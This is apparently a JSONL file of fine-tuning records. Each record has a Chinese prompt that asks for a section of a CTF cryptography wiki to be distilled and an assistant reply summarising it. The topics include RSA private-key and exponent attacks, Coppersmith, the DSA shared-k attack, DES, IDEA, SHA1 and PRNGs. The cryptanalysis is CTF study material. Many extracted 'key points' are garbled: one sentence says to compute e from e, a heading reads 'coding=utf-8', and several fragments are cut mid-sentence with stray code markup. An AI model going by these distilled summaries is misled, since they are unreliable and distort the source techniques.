{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-366d6f2d7a93d14810e4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md` 中的章节「2017 HITB - hack in the card II」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md`\n标题：私钥 d 相关攻击\n章节：私钥 d 相关攻击 > d 泄露攻击 > 2017 HITB - hack in the card II\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2017 HITB - hack in the card II”展开。\n- 由此可直接使用上面的 rsatool.py` 得到 p，q，并通过本题的 e 计算出 e 得到明文。\n- However it seems that they missed something...... > Can you decrypt the following hex-encoded ciphertext this time?\n- They also changed the public key(attachments -> publickey.pem).\n- > The second smart card sent to us has been added some countermeasures by that evil company.\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n代码/命令片段线索：\n- plain: 2 行，首行 `> 016d1d26a470fad51d52e5f3e90075ab77df69d2fb39905fe634ded81d10a5fd10c35e1277035a9efabb66e4d52fd2d1eaa845a93a4e0f1c4a4...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 970, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "2017 HITB - hack in the card II", "heading_path": ["私钥 d 相关攻击", "d 泄露攻击", "2017 HITB - hack in the card II"], "original_id": "docs-7fe942698071c796fa94", "original_line": 287, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md", "source_root": "docs", "source_sha256": "85e633de5d16e7597fac6a71304dd445659827d367ca09779c36046b10dde498", "split": "train", "split_group_key": "51d7c16b252b66d83ffd3a74", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "私钥 d 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-3687119fc6e364e750d7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_e_attack.md` 中的章节「coding=utf-8」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_e_attack.md`\n标题：公钥指数相关攻击\n章节：coding=utf-8\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“coding=utf-8”展开。\n- And you should notice this in future.Fl4g: [FLAG_REDACTED] ``\n- Now you see a non-padding message is so dangerous.\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-e-attack.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `爆破时间有点长，，拿到 flag`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 748, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "coding=utf-8", "heading_path": ["coding=utf-8"], "original_id": "docs-9c3b0beb973f726ca6ed", "original_line": 261, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_e_attack.md", "source_root": "docs", "source_sha256": "a3d814d7714e3247d02eef8fcc9670e09cc807aee257b5c82d9b3727c831cff4", "split": "train", "split_group_key": "2045c4f14180adf115be33ab", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-e-attack.md"], "title": "公钥指数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_e_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-36892b7e9a3010eb1c14", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/others.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/others.md`\n标题：其它类型加密\n章节：其它类型加密 > 培根密码 > 原理\n路径分类：crypto / crypto/classical/others.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 下面这一段内容就是明文 steganography 加密后的内容，正常字体是 A，粗体是 B： To encode a message each letter of the plaintext is replaced by a group of five of the letters 'A' or 'B'. 可以看到，培根密码主要有以下特点 - 只有两种字符 - 每一段的长度为 5 - 加密内容会有特殊的字体之分，亦或者大小写之分。\n- 培根密码使用两种不同的字体，代表 A 和 B，结合加密表进行加解密。\n- 还有另外的一种加密表，可认为是将 26 个字母从 0 到 25 排序，以二进制表示，A 代表 0，B 代表 1。\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- others.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 757, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["其它类型加密", "培根密码", "原理"], "original_id": "docs-9f9957049f4c342e3025", "original_line": 367, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "source_root": "docs", "source_sha256": "fec39924776c8c5b10bcab7894ea71cb2fc1da23f7e37fe39babf9d7dda47d46", "split": "train", "split_group_key": "4bc6142fc1fa6c8224d4d3ba", "subcategory": "crypto/classical/others.md", "terms": ["密码学", "crypto", "classical", "others.md"], "title": "其它类型加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-36f6c1f03e569d282991", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md` 中的章节「攻击条件」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md`\n标题：Coppersmith 相关攻击\n章节：Coppersmith 相关攻击 > Known High Bits Message Attack > 攻击条件\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“攻击条件”展开。\n- 可以参考 https://github.com/mimoo/RSA-and-LLL-attacks。\n- 这里我们不知道的 x 其实就是多项式的根，需要满足 Coppersmith 的约束。\n- 这里我们假设我们首先加密了消息 m，如下 $$ C\\equiv m^d \\bmod N $$ 并且我们假设我们知道消息 m 的很大的一部分 $m_0$，即 $m=m_0+x$，但是我们不知道 $x$。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-coppersmith-attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 216, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "攻击条件", "heading_path": ["Coppersmith 相关攻击", "Known High Bits Message Attack", "攻击条件"], "original_id": "docs-e4d8b866842f4571ff64", "original_line": 252, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "source_root": "docs", "source_sha256": "db220315af2be2a8291b622dd2df0469bd60abd814130105e60db525c7d32fa0", "split": "train", "split_group_key": "161b910f049704013318a74d", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-coppersmith-attack.md"], "title": "Coppersmith 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-3749de43509adfa84f1b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/des.md` 中的章节「解密」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/des.md`\n标题：DES\n章节：DES > 基本流程 > 解密\n路径分类：crypto / crypto/blockcipher/des.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“解密”展开。\n- 首先我们可以把密文先进行逆置换，那么就可以得到最后一轮的输出。\n- 我们这时考虑每一轮 $R_i=L_{i+1}$ $L_i=R_{i+1}\\oplus F(L_{i+1},K_i)$ 因此，$(L_0,R_0)$ 就是加密时第一次置换后的明文。\n- 可以看出，DES 加解密使用同一套逻辑，只是密钥使用的顺序不一致。\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- des.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 188, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "解密", "heading_path": ["DES", "基本流程", "解密"], "original_id": "docs-0dcf46da27264f362eae", "original_line": 319, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/des.md", "source_root": "docs", "source_sha256": "cbcf7f36c02c6bc816fe0df275a1c9dcf3dce505e33f2e1d5574f202caffa303", "split": "train", "split_group_key": "504a2f43ede4aa639ac04965", "subcategory": "crypto/blockcipher/des.md", "terms": ["密码学", "crypto", "blockcipher", "des.md"], "title": "DES"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/des.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-37b6a9d01a504e148459", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/ctr.md` 中的章节「Data」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/ctr.md`\n标题：CTR\n章节：Data\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Data”展开。\n- enc_last16 = b'\\xbe\\x9bd\\xc6\\xd4=\\x8c\\xe4\\x95bi\\xbc\\xe01\\x0e\\xb8' enc_flag = b'\\xb2\\x97\\x83\\x1dB\\x13\\x9b\\xc2\\x97\\x9a\\xa6+M\\x19\\xd74\\xd2-\\xc0\\xb6\\xba\\xe8ZE\\x0b:\\x14\\xed\\xec!\n- \\xa1\\x92\\xdfZ\\xb0\\xbd\\xb4M\\xb1\\x14\\xea\\xd8\\xee\\xbf\\x83\\x16g\\xfa' hash = 'efb07225b3f1993113e104757210261083c79de50f577b3f0564368ee7b25eeb'\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- mode\n- ctr.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 310, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "Data", "heading_path": ["Data"], "original_id": "docs-1f6e14d0d621bef45a1a", "original_line": 335, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ctr.md", "source_root": "docs", "source_sha256": "3cc50c89e7ed49c2959bc6044eb83c42163db1c59e43c10428c03f7068d1efb4", "split": "train", "split_group_key": "f8987bad202faa67f510e571", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "crypto", "blockcipher", "mode", "ctr.md"], "title": "CTR"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ctr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-38ea3fa12e67c04e8bd7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md` 中的章节「攻击工具」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md`\n标题：Coppersmith 相关攻击\n章节：Coppersmith 相关攻击 > Factoring with High Bits Known > 攻击工具\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“攻击工具”展开。\n- 请参考 https://github.com/mimoo/RSA-and-LLL-attacks。\n- XX 是 $f(x)=q'+x$ 在模 q 意义下的根的上界，自然我们可以选择调整它，这里其实也表明了我们已知的 $q'$ 与因数 q 之间可能的差距。\n- 关注下面的代码 ``python beta = 0.5 dd = f.degree() epsilon = beta / 7 mm = ceil(beta*2 / (dd epsilon)) tt = floor(dd mm ((1/beta) - 1)) XX = ceil(N((beta2/dd) - epsilon)) + 1000000000000000000000000000000000 roots = coppersmith_howgrave_univariate(f, N, beta, mm,...\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-coppersmith-attack.md\n- code:python\n\n代码/命令片段线索：\n- python: 7 行，首行 `beta = 0.5`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 483, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "攻击工具", "heading_path": ["Coppersmith 相关攻击", "Factoring with High Bits Known", "攻击工具"], "original_id": "docs-ab6e0b7e2924a74d7896", "original_line": 253, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "source_root": "docs", "source_sha256": "db220315af2be2a8291b622dd2df0469bd60abd814130105e60db525c7d32fa0", "split": "train", "split_group_key": "dcc156a08c4704fb7747a6e4", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-coppersmith-attack.md", "code:python"], "title": "Coppersmith 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-3b7a410984372435e5e6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/lattice/cvp.md` 中的章节「BCTF 2018 - guess_number」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/lattice/cvp.md`\n标题：CVP\n章节：CVP > 相关内容 > BCTF 2018 - guess_number\n路径分类：crypto / crypto/asymmetric/lattice\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“BCTF 2018 - guess_number”展开。\n- = alpha: exit(0) if __name__ == \"__main__\": main() print(FLAG) ` 可以看到，程序一共执行5轮。\n- 对于每一个$t_i$，程序会取$u_i = MSB_{10,p}(\\alpha\\cdot{t_i\\mod{p}})$，随后发送给客户端。\n- 我们需要根据提供的$t_i$和$u_i$计算出对应的$\\alpha$。\n- 在每一轮，程序会生成一个随机的$\\alpha$和22个随机的$t_i$。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- asymmetric\n- lattice\n- cvp.md\n- code:python\n\n代码/命令片段线索：\n- python: 25 行，首行 `from flag import FLAG`\n- python: 38 行，首行 `#HOST, PORT = 'localhost', 9999`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1770, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "BCTF 2018 - guess_number", "heading_path": ["CVP", "相关内容", "BCTF 2018 - guess_number"], "original_id": "docs-77b9a3a5b37a96bb4fc1", "original_line": 222, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/cvp.md", "source_root": "docs", "source_sha256": "ce4bff91d9553736187e65ddf810cb8485ac4e64a6943532de00afbef377f37d", "split": "train", "split_group_key": "ed864b219d0df74071fced4b", "subcategory": "crypto/asymmetric/lattice", "terms": ["密码学", "AI安全", "crypto", "asymmetric", "lattice", "cvp.md", "code:python"], "title": "CVP"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/cvp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-3d1c7ecaa6624a695fb5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/hash/sha1.md` 中的章节「基本描述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/hash/sha1.md`\n标题：SHA1\n章节：SHA1 > 基本描述\n路径分类：crypto / crypto/hash/sha1.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本描述”展开。\n- 一般来说，如果一个函数有如下五个初始化的变量，可以猜测该函数为 SHA1 函数，因为这是 SHA1 函数的初始化IV。\n- 一般来说，我们可以通过函数的初始化来判断是不是 SHA1 函数。\n- `` 0x67452301 0xEFCDAB89 0x98BADCFE 0x10325476 0xC3D2E1F0 `` 前面四个与 MD5 类似，后面的是新加的。\n- 首先在消息右侧补比特 1，然后再补若干个比特 0，直到消息的比特长度满足对 512 取模后余数是 448，使其与 448 模 512 同余。\n- SHA1的输入输出如下 - 输入：任意长的消息，分为 512 比特长的分组。\n\n关键术语：\n- 密码学\n- crypto\n- hash\n- sha1.md\n\n代码/命令片段线索：\n- plain: 5 行，首行 `0x67452301`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 327, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "基本描述", "heading_path": ["SHA1", "基本描述"], "original_id": "docs-c2ced59b3b2b0e277b01", "original_line": 406, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/sha1.md", "source_root": "docs", "source_sha256": "63e64f809ca6f9917be708aa54311dc155d903a6912ed63055d7cfc706f1d2c1", "split": "train", "split_group_key": "5097dd6d9d88865d49ee0265", "subcategory": "crypto/hash/sha1.md", "terms": ["密码学", "crypto", "hash", "sha1.md"], "title": "SHA1"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/sha1.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-3d4ecaeba2879fdc2195", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/idea.md` 中的章节「加密流程」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/idea.md`\n标题：IDEA\n章节：IDEA > 基本流程 > 加密流程\n路径分类：crypto / crypto/blockcipher/idea.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“加密流程”展开。\n- 每一轮的操作 [图片文件: figure/IDEA_Round.png] 可以输入和输出都是 16 比特位一组。\n- 但是需要注意的是 0x0000 的输入会被修改为 $2^{16}$ ，$2^{16}$ 的输出结果会被修改为0x0000。\n- 该算法会对输入的数据块进行8次相同的变换，只是每次使用的密钥不同，最后会进行一次输出变换。\n- 每一轮的主要执行的运算有 - 按位异或，⊕ - 模加，模数为 $2^{16}$ ，⊞ - 模乘，模数为 $2^{16}+1$ ，⊙。\n- 这也是 IDEA 算法中重要的一部分，此外，我们称 MA_L 为该部分加密后的左侧结果，其最后会和最左边的 16 比特操作；\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- idea.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 453, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "加密流程", "heading_path": ["IDEA", "基本流程", "加密流程"], "original_id": "docs-1820487be618a86ef3ea", "original_line": 325, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/idea.md", "source_root": "docs", "source_sha256": "62681a35c372b0057f9949878333cbe09735d4c59f664765ff2ac2782946aa5a", "split": "train", "split_group_key": "18585fc1dc2f42de889214b7", "subcategory": "crypto/blockcipher/idea.md", "terms": ["密码学", "crypto", "blockcipher", "idea.md"], "title": "IDEA"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/idea.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-3d657ff26ed0e580a7e8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/prng/intro.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/prng/intro.md`\n标题：伪随机数生成器介绍\n章节：伪随机数生成器介绍 > 概述\n路径分类：crypto / crypto/streamcipher/prng\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- 就目前而言，PRNG 在众多应用都发挥着重要的作用，比如模拟（蒙特卡洛方法），电子竞技，密码应用。\n- 伪随机数生成器（pseudorandom number generator，PRNG），又称为确定性随机位生成器（deterministic random bit generator，DRBG），是用来生成接近于绝对随机数序列的数字序列的算法。\n- 只要种子确定了，PRNG 所生成的随机数就是完全确定的，因此其生成的随机数序列并不是真正随机的。\n- 一般来说，PRNG 会依赖于一个初始值，也称为种子，来生成对应的伪随机数序列。\n\n关键术语：\n- 密码学\n- crypto\n- streamcipher\n- prng\n- intro.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 264, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "概述", "heading_path": ["伪随机数生成器介绍", "概述"], "original_id": "docs-69c7539b4acfbdbc4c48", "original_line": 433, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/intro.md", "source_root": "docs", "source_sha256": "cf124d7991d281dbf03e0a8fa564025cfe481cee3764816066f932a89c584180", "split": "train", "split_group_key": "61eed93d7ddd397b55ee9832", "subcategory": "crypto/streamcipher/prng", "terms": ["密码学", "crypto", "streamcipher", "prng", "intro.md"], "title": "伪随机数生成器介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-3d7584f6cb99e1fbeee5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/signature/dsa.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/signature/dsa.md`\n标题：DSA\n章节：DSA > 安全性 > k共享 > 例子\n路径分类：crypto / crypto/signature/dsa.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- 这里之所以会联想到共享k是因为题目中提示了PS3的破解曾用到这个方法，从网上搜索可知该攻击。\n- 只好从github上下载安装了pycrypto。\n- 可以看到第4个packet和第3个packet共享了k，因为他们的r一致。\n- 这里我们以湖湘杯的DSA为例，但是不能直接去做，，，因为发现在验证message4的时候签名不通过。\n- 结果如下 `shell ➜ 2016湖湘杯DSA git:(master) ✗ python exp.py 1104884177962524221174509726811256177146235961550 943735132044536149000710760545778628181961840230 520793588153805320783422521615148687785086070744 ``\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- signature\n- dsa.md\n- code:shell\n- code:python\n\n代码/命令片段线索：\n- shell: 10 行，首行 `➜ 2016湖湘杯DSA git:(master) ✗ openssl sha1 -verify dsa_public.pem -signature packet1/sign1.bin packet1/message1`\n- shell: 16 行，首行 `➜ 2016湖湘杯DSA git:(master) ✗ openssl asn1parse -inform der -in packet4/sign4.bin`\n- shell: 35 行，首行 `➜ 2016湖湘杯DSA git:(master) ✗ openssl dsa -in dsa_public.pem -text -noout -pubin`\n- python: 31 行，首行 `#coding=utf8`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 4429, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "例子", "heading_path": ["DSA", "安全性", "k共享", "例子"], "original_id": "docs-aaded2f3118771cf8679", "original_line": 411, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/dsa.md", "source_root": "docs", "source_sha256": "dbc4b1d0f87687fcf070a67258b247ce609a9a9d468798660d4e27911db08f6e", "split": "train", "split_group_key": "1b2f19e7c5b3cb8d31fac5fc", "subcategory": "crypto/signature/dsa.md", "terms": ["密码学", "漏洞利用", "crypto", "signature", "dsa.md", "code:shell", "code:python"], "title": "DSA"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/dsa.md", "split": "train", "type": "ctf_lora_sft"}
